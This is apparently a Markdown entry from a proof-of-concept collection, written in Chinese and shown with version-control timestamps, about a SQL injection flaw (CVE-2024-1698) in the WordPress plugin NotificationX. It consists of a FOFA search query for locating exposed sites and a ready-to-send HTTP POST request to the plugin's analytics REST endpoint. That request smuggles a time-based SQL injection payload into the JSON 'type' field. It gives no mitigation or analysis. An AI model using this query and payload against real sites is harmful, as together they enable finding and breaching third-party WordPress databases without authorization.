2024-05-01 11:54:05 +08:00
|
|
|
## WordPress插件NotificationX存在sql注入漏洞(CVE-2024-1698)
|
2024-04-28 20:27:08 +08:00
|
|
|
|
|
|
|
|
## fofa
|
|
|
|
|
```
|
|
|
|
|
body="/wp-content/plugins/notificationx"
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## poc
|
|
|
|
|
```
|
|
|
|
|
POST /wp-json/notificationx/v1/analytics HTTP/1.1
|
|
|
|
|
Host:
|
|
|
|
|
Content-Type: application/json
|
|
|
|
|
|
|
|
|
|
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
|
|
|
|
|
```
|
